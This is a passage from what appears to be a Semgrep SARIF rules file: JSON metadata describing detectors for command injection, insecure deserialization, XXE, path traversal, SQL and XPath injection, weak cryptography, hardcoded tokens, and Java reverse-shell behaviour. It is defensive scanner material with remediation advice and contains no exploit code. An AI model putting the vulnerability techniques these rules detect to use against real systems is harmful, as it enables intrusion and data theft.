[https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","id":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","name":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"help":{"markdown":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.session-fixation.session-fixation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://owasp.org/www-community/attacks/Session_fixation](https://owasp.org/www-community/attacks/Session_fixation)\n","text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"helpUri":"https://semgrep.dev/r/javascript.express.session-fixation.session-fixation","id":"javascript.express.session-fixation.session-fixation","name":"javascript.express.session-fixation.session-fixation","properties":{"precision":"very-high","tags":["CWE-384: Session Fixation","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.session-fixation.session-fixation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","id":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","name":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path","id":"rust.actix.path-traversal.tainted-path.tainted-path","name":"rust.actix.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","id":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","name":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/rsa#rsa](https://www.pycryptodome.org/src/public_key/rsa#rsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'phpinfo' function may reveal sensitive information about your environment."},"help":{"markdown":"The 'phpinfo' function may reveal sensitive information about your environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use)\n - [https://www.php.net/manual/en/function.phpinfo](https://www.php.net/manual/en/function.phpinfo)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php)\n","text":"The 'phpinfo' function may reveal sensitive information about your environment."},"helpUri":"https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use","id":"php.lang.security.phpinfo-use.phpinfo-use","name":"php.lang.security.phpinfo-use.phpinfo-use","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.phpinfo-use.phpinfo-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","id":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","name":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra)\n","text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","id":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","name":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found potential reverse shell behavior"},"help":{"markdown":"Semgrep found potential reverse shell behavior\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found potential reverse shell behavior"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell","id":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","name":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.java-reverse-shell.java-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"help":{"markdown":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding","id":"swift.lang.ns.nscoding.swift-nscoding","name":"swift.lang.ns.nscoding.swift-nscoding","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.nscoding.swift-nscoding"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required 